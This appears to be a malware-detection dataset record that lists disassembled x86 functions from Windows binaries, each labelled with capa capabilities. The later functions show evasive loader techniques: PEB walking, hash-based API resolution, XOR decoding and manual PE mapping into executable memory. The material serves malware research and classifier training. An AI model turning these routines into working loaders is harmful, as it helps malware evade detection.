joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100155c0
Capabilities:
Get file version info

Disassembly:
push 0xffffffffffffffff
push 0x1003ab92
mov eax, dword fs:[0]
push eax
sub esp, 0x11c
mov eax, dword [0x10048f54]
xor eax, esp
mov dword [esp + 0x118], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x10048f54]
xor eax, esp
push eax
lea eax, [esp + 0x130]
mov dword fs:[0], eax
mov edi, dword [esp + 0x140]
mov esi, dword [esp + 0x144]
xor ebx, ebx
mov dword [esp + 0x20], ebx
push ebx
mov dword [edi + 0x18], 0xf
mov dword [edi + 0x14], ebx
push 0x1003d534
mov ecx, edi
mov dword [esp + 0x140], ebx
mov dword [esp + 0x20], edi
mov byte [edi + 4], bl
call fcn.10001fa0
cmp dword [esi + 0x18], 0x10
mov dword [esp + 0x138], ebx
mov dword [esp + 0x20], 1
lea ebp, [esi + 4]
jb 0x10015651
mov eax, dword [ebp]
jmp 0x10015653
mov eax, ebp
push ebx
push eax
call sub.VERSION.dll_GetFileVersionInfoSizeA
mov ebx, eax
test ebx, ebx
je 0x1001572a
lea eax, [ebx + 1]
push eax
call fcn.100242da
add esp, 4
cmp dword [esi + 0x18], 0x10
mov edi, eax
jb 0x1001567b
mov ebp, dword [ebp]
push edi
push ebx
xor esi, esi
push esi
push ebp
call sub.VERSION.dll_GetFileVersionInfoA
test eax, eax
je 0x1001571b
lea ecx, [esp + 0x14]
push ecx
lea edx, [esp + 0x28]
push edx
push str.VarFileInfoTranslation
push edi
mov dword [esp + 0x24], esi
call sub.VERSION.dll_VerQueryValueA
test eax, eax
je 0x1001571b
mov eax, dword [esp + 0x14]
and eax, 0xfffffffc
cmp eax, 4
jb 0x1001571b
push 0x103
lea ecx, [esp + 0x2d]
push esi
push ecx
mov byte [esp + 0x34], 0
call fcn.10024260
mov eax, dword [esp + 0x30]
movzx edx, word [eax + 2]
movzx eax, word [eax]
push edx
push eax
push str.StringFileInfo_04x_04xFileVersion
lea ecx, [esp + 0x40]
push 0x104
push ecx
call fcn.10024362
add esp, 0x20
lea edx, [esp + 0x14]
push edx
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0x30]
push ecx
push edi
mov dword [esp + 0x2c], esi
call sub.VERSION.dll_VerQueryValueA
test eax, eax
je 0x1001571b
mov edx, dword [esp + 0x1c]
mov ecx, dword [esp + 0x18]
push edx
call fcn.10002640
push edi
call fcn.10023263
mov eax, dword [esp + 0x1c]
add esp, 4
jmp 0x1001572c
mov eax, edi
mov ecx, dword [esp + 0x130]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x118]
xor ecx, esp
call fcn.100234f7
add esp, 0x128
ret
Function at 0x10015c20
Capabilities:
Print debug messages

Disassembly:
push 0xffffffffffffffff
push 0x1003ac2b
mov eax, dword fs:[0]
push eax
sub esp, 0x420
mov eax, dword [0x10048f54]
xor eax, esp
mov dword [esp + 0x41c], eax
push ebx
push esi
mov eax, dword [0x10048f54]
xor eax, esp
push eax
lea eax, [esp + 0x42c]
mov dword fs:[0], eax
mov esi, dword [esp + 0x43c]
xor ebx, ebx
push 0x3ff
lea eax, [esp + 0x2d]
push ebx
push eax
mov byte [esp + 0x34], bl
call fcn.10024260
mov edx, dword [esp + 0x44c]
lea ecx, [esp + 0x450]
push ecx
push edx
push 0xffffffffffffffff
lea eax, [esp + 0x40]
push 0x400
push eax
call fcn.1002526d
add esp, 0x20
cmp byte [esp + 0x28], bl
je 0x10015d1c
mov eax, esi
mov dword [esp + 0x24], 0xf
mov dword [esp + 0x20], ebx
mov byte [esp + 0x10], bl
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x10015cb5
sub eax, edx
push eax
push esi
lea ecx, [esp + 0x14]
call fcn.10001fa0
lea eax, [esp + 0x28]
mov dword [esp + 0x434], ebx
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x10015cd7
sub eax, edx
push eax
lea ecx, [esp + 0x2c]
push ecx
lea ecx, [esp + 0x14]
call fcn.10002080
mov eax, dword [esp + 0x10]
mov esi, 0x10
cmp dword [esp + 0x24], esi
jae 0x10015d02
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp dword [esp + 0x24], esi
jb 0x10015d1c
mov edx, dword [esp + 0x10]
push edx
call fcn.10022cad
add esp, 4
mov ecx, dword [esp + 0x42c]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov ecx, dword [esp + 0x41c]
xor ecx, esp
call fcn.100234f7
add esp, 0x42c
ret

Function at 0x10016ee0
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x54
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, eax
sub ecx, dword [0x1004a9ac]
cmp ecx, 0x1f4
jbe 0x10016fa9
push esi
push 0x44
lea edx, [esp + 0x18]
push 0
push edx
mov dword [0x1004a9ac], eax
call fcn.10024260
mov esi, dword [esp + 0x6c]
mov edx, dword [esp + 0x68]
add esp, 0xc
xor eax, eax
mov dword [esp + 4], eax
mov dword [esp + 8], eax
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], eax
lea eax, [esp + 4]
push eax
lea ecx, [esp + 0x18]
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
push esi
push edx
mov dword [esp + 0x3c], 0x44
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x10016f78
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Create_PPSKernel_Failed___d
push str.ppsjy:
call fcn.10015c20
add esp, 0xc
xor eax, eax
pop esi
add esp, 0x54
ret
push esi
push str.Kernel
push str.ppsjy:
call fcn.10015c20
mov eax, dword [esp + 0x14]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
add esp, 0xc
push eax
call esi
mov ecx, dword [esp + 4]
push ecx
call esi
mov eax, 1
pop esi
add esp, 0x54
ret
xor eax, eax
add esp, 0x54
ret
Function at 0x10017ba0
Capabilities:
Create tcp socket
Initialize winsock library

Disassembly:
sub esp, 0x194
mov eax, dword [0x10048f54]
xor eax, esp
mov dword [esp + 0x190], eax
push esi
lea eax, [esp + 4]
push eax
push 0x202
mov esi, ecx
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 6
push 1
push 2
mov dword [esi], 0xffffffff
call dword [sym.imp.WS2_32.dll_socket]
mov dword [esi], eax
cmp eax, 0xffffffff
jne 0x10017bf9
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push str._CSock_CreateSock_error:_d_r_n
push str.ppsjy:
call fcn.10015c20
add esp, 0xc
mov ecx, dword [esp + 0x194]
mov eax, esi
pop esi
xor ecx, esp
call fcn.100234f7
add esp, 0x194
ret
Function at 0x1001ce10
Capabilities:
Link many functions at runtime

Disassembly:
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
push str.ModuleInit
push esi
call edi
push str.ModuleUninit
push esi
mov dword [0x1004aa38], eax
call edi
push str.MemFree
push esi
mov dword [0x1004aa3c], eax
call edi
push str.GetVideoName
push esi
mov dword [0x1004aa40], eax
call edi
push str.GetVideoCategory
push esi
mov dword [0x1004aa44], eax
call edi
push str.GetVideoEpisode
push esi
mov dword [0x1004aa48], eax
call edi
push str.GetVideoInfo
push esi
mov dword [0x1004aa4c], eax
call edi
mov ecx, dword [0x1004aa3c]
mov esi, dword [0x1004aa40]
mov dword [0x1004aa50], eax
mov eax, dword [0x1004aa38]
test eax, eax
je 0x1001ce97
test ecx, ecx
je 0x1001ce97
test esi, esi
je 0x1001ce97
pop edi
mov al, 1
pop esi
ret
xor edx, edx
test esi, esi
sete dl
push edx
xor edx, edx
test ecx, ecx
sete dl
xor ecx, ecx
test eax, eax
sete cl
push edx
push ecx
push str._dllFuncInit
push str.__s_init__d_uninit__d_free__d_:func_ptr_null_
push str.ppsjy:
call fcn.10015c20
add esp, 0x18
pop edi
xor al, al
pop esi
ret

Function at 0x1001e590
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x1003b764
mov eax, dword fs:[0]
push eax
push ecx
push esi
push edi
mov eax, dword [0x10048f54]
xor eax, esp
push eax
lea eax, [esp + 0x10]
mov dword fs:[0], eax
mov esi, ecx
mov dword [esp + 0xc], esi
mov ecx, 7
xor eax, eax
xor edx, edx
mov dword [esi + 0x18], ecx
mov dword [esi + 0x14], eax
mov word [esi + 4], dx
mov edx, 0xf
mov dword [esi + 0x34], edx
mov dword [esi + 0x30], eax
mov dword [esp + 0x18], eax
mov byte [esi + 0x20], al
xor edi, edi
mov dword [esi + 0x50], ecx
mov dword [esi + 0x4c], eax
mov word [esi + 0x3c], di
mov dword [esi + 0x6c], edx
mov dword [esi + 0x68], eax
mov byte [esi + 0x58], al
mov dword [esi + 0x88], ecx
mov dword [esi + 0x84], eax
mov word [esi + 0x74], ax
mov ecx, esi
mov byte [esp + 0x18], 4
mov dword [esi + 0x8c], 0xb
call fcn.1001e160
mov eax, esi
mov ecx, dword [esp + 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
add esp, 0x10
ret
Function at 0x10022280
Capabilities:
Hash data using sha1

Disassembly:
mov eax, dword [esp + 4]
mov dword [eax + 4], 0
mov dword [eax], 0
mov dword [eax + 8], 0x67452301
mov dword [eax + 0xc], 0xefcdab89
mov dword [eax + 0x10], 0x98badcfe
mov dword [eax + 0x14], 0x10325476
mov dword [eax + 0x18], 0xc3d2e1f0
ret

Function at 0x100234f7
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10048f54]
jne 0x10023501
repz ret
jmp fcn.10028b2d

Function at 0x10035878
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.100278d6
and dword [ebp - 4], 0
cmp dword [0x1004b6c4], 0
mov ebx, eax
jne 0x10035929
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x100359da
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x100359da
push eax
call fcn.10027864
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x1004b6c4], eax
call esi
push eax
call fcn.10027864
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x1004b6c8], eax
call esi
push eax
call fcn.10027864
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x1004b6cc], eax
call esi
push eax
call fcn.10027864
pop ecx
mov dword [0x1004b6d4], eax
test eax, eax
je 0x10035929
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.10027864
pop ecx
mov dword [0x1004b6d0], eax
mov eax, dword [0x1004b6d0]
cmp eax, ebx
je 0x10035981
cmp dword [0x1004b6d4], ebx
je 0x10035981
push eax
call fcn.100278df
push dword [0x1004b6d4]
mov esi, eax
call fcn.100278df
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x10035981
test edi, edi
je 0x10035981
call esi
test eax, eax
je 0x10035978
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x10035978
test byte [ebp - 0xc], 1
jne 0x10035981
or dword [ebp + 0x10], 0x200000
jmp 0x100359ba
mov eax, dword [0x1004b6c8]
cmp eax, ebx
je 0x100359ba
push eax
call fcn.100278df
pop ecx
test eax, eax
je 0x100359ba
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x100359ba
mov eax, dword [0x1004b6cc]
cmp eax, ebx
je 0x100359ba
push eax
call fcn.100278df
pop ecx
test eax, eax
je 0x100359ba
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x1004b6c4]
call fcn.100278df
pop ecx
test eax, eax
je 0x100359da
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x100359dc
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x3a32c0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x24
mov eax, dword [ecx + 4]
push ebx
push esi
mov dword [esp + 0x14], edx
lea esi, [ecx + 4]
mov edx, dword [ecx]
add esi, 4
xor eax, edx
mov dword [esp + 0x10], edx
mov dword [esp + 0x18], eax
push edi
movd xmm0, edx
mov edi, eax
pshufd xmm0, xmm0, 0
movdqa xmmword [esp + 0x20], xmm0
test al, 3
je 0x3a3300
and edi, 0xfffffffc
add edi, 4
mov eax, dword [0x3adbf8]
test eax, eax
jne 0x3a3324
mov ecx, 0xa028f2a0
call fcn.003a3ed0
mov edx, 0x704a030e
mov ecx, eax
call fcn.003a3e30
mov dword [0x3adbf8], eax
call eax
mov ebx, eax
mov eax, dword [0x3add60]
test eax, eax
jne 0x3a334c
mov ecx, 0xa028f2a0
call fcn.003a3ed0
mov edx, 0x9016bda2
mov ecx, eax
call fcn.003a3e30
mov dword [0x3add60], eax
push edi
push 8
push ebx
call eax
mov dword [esp + 0xc], eax
test eax, eax
je 0x3a3402
shr edi, 2
xor edx, edx
lea ecx, [esi + edi*4]
mov edi, eax
mov ebx, ecx
sub ebx, esi
add ebx, 3
shr ebx, 2
cmp esi, ecx
mov ecx, eax
cmova ebx, edx
test ebx, ebx
je 0x3a33f2
cmp ebx, 8
jb 0x3a33d7
lea eax, [esi - 4]
lea eax, [eax + ebx*4]
cmp ecx, eax
ja 0x3a3396
lea eax, [ecx - 4]
lea eax, [eax + ebx*4]
cmp eax, esi
jae 0x3a33d7
movdqa xmm1, xmmword [esp + 0x20]
mov eax, ebx
and eax, 7
mov dword [esp + 0xc], ebx
sub dword [esp + 0xc], eax
mov eax, dword [esp + 0xc]
lea ecx, [ecx]
movdqu xmm0, xmmword [esi]
add edx, 8
pxor xmm0, xmm1
movdqu xmmword [edi], xmm0
movdqu xmm0, xmmword [esi + 0x10]
add esi, 0x20
pxor xmm0, xmm1
movdqu xmmword [edi + 0x10], xmm0
add edi, 0x20
cmp edx, eax
jb 0x3a33b0
cmp edx, ebx
jae 0x3a33f2
sub edi, esi
lea ecx, [ecx]
mov eax, dword [esi]
lea esi, [esi + 4]
xor eax, dword [esp + 0x14]
inc edx
mov dword [edi + esi - 4], eax
cmp edx, ebx
jb 0x3a33e0
mov edx, dword [esp + 0x18]
test edx, edx
je 0x3a3400
mov eax, dword [esp + 0x1c]
mov dword [edx], eax
mov eax, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x3a3470
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0xc
mov eax, dword [ecx + 4]
mov edx, dword [ecx]
xor eax, edx
push ebx
push esi
lea esi, [ecx + 4]
mov dword [esp + 8], edx
lea ebx, [eax + 1]
mov dword [esp + 0x10], eax
add esi, 4
push edi
test bl, 3
je 0x3a3499
and ebx, 0xfffffffc
add ebx, 4
mov eax, dword [0x3adbf8]
test eax, eax
jne 0x3a34bd
mov ecx, 0xa028f2a0
call fcn.003a3ed0
mov edx, 0x704a030e
mov ecx, eax
call fcn.003a3e30
mov dword [0x3adbf8], eax
call eax
mov edi, eax
mov eax, dword [0x3add60]
test eax, eax
jne 0x3a34e5
mov ecx, 0xa028f2a0
call fcn.003a3ed0
mov edx, 0x9016bda2
mov ecx, eax
call fcn.003a3e30
mov dword [0x3add60], eax
lea ecx, [ebx + ebx]
push ecx
push 8
push edi
call eax
mov edi, eax
mov dword [esp + 0x10], edi
test edi, edi
je 0x3a3565
shr ebx, 2
xor eax, eax
push ebp
xor ebp, ebp
mov edx, edi
lea ecx, [esi + ebx*4]
mov ebx, ecx
sub ebx, esi
add ebx, 3
shr ebx, 2
cmp esi, ecx
cmova ebx, eax
test ebx, ebx
je 0x3a355a
mov edi, dword [esp + 0x10]
lea esp, [esp]
mov ecx, dword [esi]
lea edx, [edx + 8]
xor ecx, edi
lea esi, [esi + 4]
movzx eax, cl
inc ebp
mov word [edx - 8], ax
mov eax, ecx
shr eax, 8
movzx eax, al
mov word [edx - 6], ax
shr ecx, 0x10
movzx eax, cl
mov word [edx - 4], ax
shr ecx, 8
movzx eax, cl
mov word [edx - 2], ax
cmp ebp, ebx
jb 0x3a3520
mov edi, dword [esp + 0x14]
mov eax, dword [esp + 0x18]
xor ecx, ecx
pop ebp
mov word [edi + eax*2], cx
mov eax, edi
pop edi
pop esi
pop ebx
add esp, 0xc
ret

Function at 0x3a3570
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0xc
mov eax, dword [ecx + 4]
mov edx, dword [ecx]
xor eax, edx
push ebx
push ebp
push esi
lea esi, [ecx + 4]
mov dword [esp + 0xc], edx
lea ebx, [eax + 1]
mov dword [esp + 0x14], eax
add esi, 4
push edi
test bl, 3
je 0x3a359a
and ebx, 0xfffffffc
add ebx, 4
mov eax, dword [0x3adbf8]
test eax, eax
jne 0x3a35be
mov ecx, 0xa028f2a0
call fcn.003a3ed0
mov edx, 0x704a030e
mov ecx, eax
call fcn.003a3e30
mov dword [0x3adbf8], eax
call eax
mov edi, eax
mov eax, dword [0x3add60]
test eax, eax
jne 0x3a35e6
mov ecx, 0xa028f2a0
call fcn.003a3ed0
mov edx, 0x9016bda2
mov ecx, eax
call fcn.003a3e30
mov dword [0x3add60], eax
push ebx
push 8
push edi
call eax
mov ebp, eax
mov dword [esp + 0x14], ebp
test ebp, ebp
je 0x3a3652
shr ebx, 2
xor eax, eax
xor edi, edi
mov ecx, ebp
lea edx, [esi + ebx*4]
mov ebx, edx
sub ebx, esi
add ebx, 3
shr ebx, 2
cmp esi, edx
cmova ebx, eax
test ebx, ebx
je 0x3a364a
mov ebp, dword [esp + 0x10]
lea esp, [esp]
mov edx, dword [esi]
lea ecx, [ecx + 4]
xor edx, ebp
lea esi, [esi + 4]
mov byte [ecx - 4], dl
mov eax, edx
shr eax, 8
inc edi
shr edx, 0x10
mov byte [ecx - 3], al
mov byte [ecx - 2], dl
shr edx, 8
mov byte [ecx - 1], dl
cmp edi, ebx
jb 0x3a3620
mov ebp, dword [esp + 0x14]
mov eax, dword [esp + 0x18]
mov byte [eax + ebp], 0
pop edi
pop esi
mov eax, ebp
pop ebp
pop ebx
add esp, 0xc
ret
Function at 0x3a3b50
Capabilities:
Encode data using xor

Disassembly:
sub esp, 8
mov dword [esp + 4], 0x18e
add dword [esp + 4], 0x8fd9
shl dword [esp + 4], 0xf
add dword [esp + 4], 0xa98
xor dword [esp + 4], 0x48b38a98
mov dword [esp], 0x9208
imul eax, dword [esp], 0x75
push ebx
mov ebx, ecx
mov dword [esp + 4], eax
shr dword [esp + 4], 0xb
or dword [esp + 4], 0x128383aa
imul eax, dword [esp + 4], 0x35
mov dword [esp + 4], eax
add dword [esp + 4], 0xffff3c94
imul eax, dword [esp + 4], 0x6f
mov dword [esp + 4], eax
xor dword [esp + 4], 0x74ad7137
mov dword [esp + 4], 0xeadf
shl dword [esp + 4], 9
shl dword [esp + 4], 0xd
imul eax, dword [esp + 4], 0x5d
mov dword [esp + 4], eax
add dword [esp + 4], 0xd479
imul eax, dword [esp + 4], 0x13
mov dword [esp + 4], eax
xor dword [esp + 4], 0x4e4fc4eb
cmp byte [ebx], 0
je 0x3a3cb0
push esi
push edi
jmp 0x3a3c00
mov edi, dword [esp + 0x10]
lea ebx, [ebx + 1]
mov dword [esp + 0xc], 0x9208
imul eax, dword [esp + 0xc], 0x75
mov dword [esp + 0xc], eax
shr dword [esp + 0xc], 0xb
or dword [esp + 0xc], 0x128383aa
imul eax, dword [esp + 0xc], 0x35
mov dword [esp + 0xc], eax
add dword [esp + 0xc], 0xffff3c94
imul eax, dword [esp + 0xc], 0x6f
mov dword [esp + 0xc], eax
xor dword [esp + 0xc], 0x74ad7137
movzx ecx, byte [esp + 0xc]
mov esi, dword [esp + 0x10]
mov dword [esp + 0xc], 0xeadf
shl dword [esp + 0xc], 9
shl dword [esp + 0xc], 0xd
imul eax, dword [esp + 0xc], 0x5d
shl esi, cl
mov dword [esp + 0xc], eax
add dword [esp + 0xc], 0xd479
imul eax, dword [esp + 0xc], 0x13
mov dword [esp + 0xc], eax
xor dword [esp + 0xc], 0x4e4fc4eb
movzx ecx, byte [esp + 0xc]
mov edx, dword [esp + 0x10]
movsx eax, byte [ebx - 1]
mov dword [esp + 0x10], eax
add dword [esp + 0x10], esi
shl edx, cl
add dword [esp + 0x10], edx
sub dword [esp + 0x10], edi
cmp byte [ebx], 0
jne 0x3a3c00
pop edi
pop esi
mov eax, dword [esp + 8]
pop ebx
add esp, 8
ret
Function at 0x3a3e30
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x10
push ebx
mov ebx, ecx
mov dword [esp + 4], edx
push ebp
push esi
push edi
mov eax, dword [ebx + 0x3c]
xor esi, esi
add eax, 0x78
add eax, ebx
mov dword [esp + 0x1c], eax
mov edi, dword [eax]
mov eax, dword [edi + ebx + 0x1c]
add edi, ebx
add eax, ebx
mov dword [esp + 0x18], eax
mov ebp, dword [edi + 0x20]
mov eax, dword [edi + 0x24]
add ebp, ebx
add eax, ebx
mov dword [esp + 0x14], eax
cmp dword [edi + 0x18], esi
jbe 0x3a3e8c
lea esp, [esp]
mov ecx, dword [ebp + esi*4]
add ecx, ebx
call fcn.003a3b50
xor eax, 0x347fecab
cmp eax, dword [esp + 0x10]
je 0x3a3e96
inc esi
cmp esi, dword [edi + 0x18]
jb 0x3a3e70
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x10
ret
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x18]
movzx eax, word [eax + esi*2]
mov ecx, dword [ecx + eax*4]
add ecx, ebx
cmp ecx, edi
jb 0x3a3ec4
mov eax, dword [esp + 0x1c]
mov eax, dword [eax + 4]
add eax, edi
cmp ecx, eax
jae 0x3a3ec4
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
jmp 0x3a4090
pop edi
pop esi
pop ebp
mov eax, ecx
pop ebx
add esp, 0x10
ret
sub esp, 0x104
lea edx, [esp]
push esi
mov esi, ecx
push edi
mov al, byte [esi]
test al, al
je 0x3a40b6
cmp al, 0x2e
je 0x3a40b3
inc esi
mov byte [edx], al
inc edx
mov al, byte [esi]
test al, al
jne 0x3a40a3
jmp 0x3a40b6
mov byte [edx], 0
mov eax, dword [0x3adb14]
test eax, eax
jne 0x3a40da
mov ecx, 0xa028f2a0
call fcn.003a3ed0
mov edx, 0xc347539c
mov ecx, eax
call fcn.003a3e30
mov dword [0x3adb14], eax
lea ecx, [esp + 8]
push ecx
call eax
mov edi, eax
test edi, edi
jne 0x3a4121
mov eax, dword [0x3adcb4]
test eax, eax
jne 0x3a410b
mov ecx, 0xa028f2a0
call fcn.003a3ed0
mov edx, 0xeb545747
mov ecx, eax
call fcn.003a3e30
mov dword [0x3adcb4], eax
lea ecx, [esp + 8]
push ecx
call eax
mov edi, eax
test edi, edi
jne 0x3a4121
pop edi
pop esi
add esp, 0x104
ret
lea ecx, [esi + 1]
call fcn.003a3b50
xor eax, 0x347fecab
mov ecx, edi
mov edx, eax
call fcn.003a3e30
pop edi
pop esi
add esp, 0x104
ret
Function at 0x3a3ed0
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
sub esp, 0x10
mov eax, dword fs:[0x30]
mov dword [esp + 0xc], ecx
push ebx
push ebp
mov ecx, dword [eax + 0xc]
add ecx, 0xc
push esi
push edi
mov dword [esp + 0x18], ecx
mov ebp, dword [ecx]
cmp ebp, ecx
je 0x3a4079
mov edx, dword [ebp + 0x30]
mov dword [esp + 0x14], 0x18e
add dword [esp + 0x14], 0x8fd9
shl dword [esp + 0x14], 0xf
add dword [esp + 0x14], 0xa98
xor dword [esp + 0x14], 0x48b38a98
mov dword [esp + 0x10], 0x9208
imul eax, dword [esp + 0x10], 0x75
mov dword [esp + 0x10], eax
shr dword [esp + 0x10], 0xb
or dword [esp + 0x10], 0x128383aa
imul eax, dword [esp + 0x10], 0x35
mov dword [esp + 0x10], eax
add dword [esp + 0x10], 0xffff3c94
imul eax, dword [esp + 0x10], 0x6f
mov dword [esp + 0x10], eax
xor dword [esp + 0x10], 0x74ad7137
mov dword [esp + 0x10], 0xeadf
shl dword [esp + 0x10], 9
shl dword [esp + 0x10], 0xd
imul eax, dword [esp + 0x10], 0x5d
mov dword [esp + 0x10], eax
add dword [esp + 0x10], 0xd479
imul eax, dword [esp + 0x10], 0x13
mov dword [esp + 0x10], eax
xor dword [esp + 0x10], 0x4e4fc4eb
cmp word [edx], 0
je 0x3a405f
jmp 0x3a3fa0
mov ebx, dword [esp + 0x14]
mov dword [esp + 0x10], 0x9208
imul eax, dword [esp + 0x10], 0x75
mov dword [esp + 0x10], eax
shr dword [esp + 0x10], 0xb
or dword [esp + 0x10], 0x128383aa
imul eax, dword [esp + 0x10], 0x35
mov dword [esp + 0x10], eax
add dword [esp + 0x10], 0xffff3c94
imul eax, dword [esp + 0x10], 0x6f
mov dword [esp + 0x10], eax
xor dword [esp + 0x10], 0x74ad7137
movzx ecx, byte [esp + 0x10]
mov esi, dword [esp + 0x14]
mov dword [esp + 0x10], 0xeadf
shl dword [esp + 0x10], 9
shl dword [esp + 0x10], 0xd
imul eax, dword [esp + 0x10], 0x5d
shl esi, cl
mov dword [esp + 0x10], eax
add dword [esp + 0x10], 0xd479
imul eax, dword [esp + 0x10], 0x13
mov dword [esp + 0x10], eax
xor dword [esp + 0x10], 0x4e4fc4eb
movzx ecx, byte [esp + 0x10]
mov edi, dword [esp + 0x14]
movzx eax, word [edx]
shl edi, cl
cmp eax, 0x41
jb 0x3a403e
cmp eax, 0x5a
ja 0x3a403e
add eax, 0x20
mov dword [esp + 0x14], eax
add edx, 2
add dword [esp + 0x14], esi
add dword [esp + 0x14], edi
sub dword [esp + 0x14], ebx
cmp word [edx], 0
jne 0x3a3fa0
mov ecx, dword [esp + 0x18]
mov eax, dword [esp + 0x14]
xor eax, 0x2f5614d2
cmp eax, dword [esp + 0x1c]
je 0x3a4083
mov ebp, dword [ebp]
cmp ebp, ecx
jne 0x3a3ef5
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x10
ret
mov eax, dword [ebp + 0x18]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret
Function at 0x3a4350
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
sub esp, 0x14
push ebp
mov ebp, ecx
mov dword [esp + 0x10], ebp
push edi
cmp edx, 0x40
jb 0x3a44ee
mov eax, 0x5a4d
cmp word [ebp], ax
jne 0x3a44ee
mov edi, dword [ebp + 0x3c]
add edi, ebp
mov dword [esp + 0x18], edi
cmp dword [edi], 0x4550
jne 0x3a44ee
mov eax, 0x10b
cmp word [edi + 0x18], ax
jne 0x3a44ee
mov eax, dword [0x3adb44]
test eax, eax
jne 0x3a43bb
mov ecx, 0xa028f2a0
call fcn.003a3ed0
mov edx, 0xdae4ae1
mov ecx, eax
call fcn.003a3e30
mov dword [0x3adb44], eax
push ebx
push 0x40
push 0x3000
push dword [edi + 0x50]
push 0
call eax
mov ebx, eax
test ebx, ebx
je 0x3a44e5
movzx ecx, word [edi + 0x14]
push esi
lea esi, [edi + 0x18]
add esi, ecx
movzx ecx, word [edi + 6]
mov dword [esp + 0x18], esi
lea ecx, [ecx + ecx*4]
lea eax, [esi + ecx*8]
mov dword [esp + 0x14], eax
mov eax, dword [edi + 0x54]
mov dword [esp + 0x10], eax
mov eax, dword [0x3adc6c]
test eax, eax
jne 0x3a441b
mov ecx, 0xfd7834c6
call fcn.003a3ed0
mov edx, 0x9c233dc
mov ecx, eax
call fcn.003a3e30
mov dword [0x3adc6c], eax
push dword [esp + 0x10]
push ebp
push ebx
call eax
mov ecx, dword [esp + 0x20]
add esp, 0xc
cmp esi, ecx
jae 0x3a449e
sub ecx, dword [esp + 0x18]
mov eax, 0xcccccccd
dec ecx
add esi, 0x10
mul ecx
mov ecx, edx
shr ecx, 5
inc ecx
mov edi, ecx
mov ebp, dword [esi]
cmp dword [esi - 8], ebp
mov eax, dword [esi + 4]
cmovb ebp, dword [esi - 8]
add eax, dword [esp + 0x1c]
mov dword [esp + 0x18], eax
mov eax, dword [esi - 4]
add eax, ebx
mov dword [esp + 0x14], eax
mov eax, dword [0x3adc6c]
test eax, eax
jne 0x3a4486
mov ecx, 0xfd7834c6
call fcn.003a3ed0
mov edx, 0x9c233dc
mov ecx, eax
call fcn.003a3e30
mov dword [0x3adc6c], eax
push ebp
push dword [esp + 0x1c]
push dword [esp + 0x1c]
call eax
add esp, 0xc
add esi, 0x28
dec edi
jne 0x3a4445
mov edi, dword [esp + 0x20]
mov edx, edi
mov ecx, ebx
call fcn.003a4620
mov edx, edi
mov ecx, ebx
call fcn.003a4530
pop esi
test eax, eax
jne 0x3a44e5
mov eax, dword [0x3adfc4]
test eax, eax
jne 0x3a44d9
mov ecx, 0xa028f2a0
call fcn.003a3ed0
mov edx, 0xce8d33fc
mov ecx, eax
call fcn.003a3e30
mov dword [0x3adfc4], eax
push 0x8000
push 0
push ebx
call eax
xor ebx, ebx
mov eax, ebx
pop ebx
pop edi
pop ebp
add esp, 0x14
ret
pop edi
xor eax, eax
pop ebp
add esp, 0x14
ret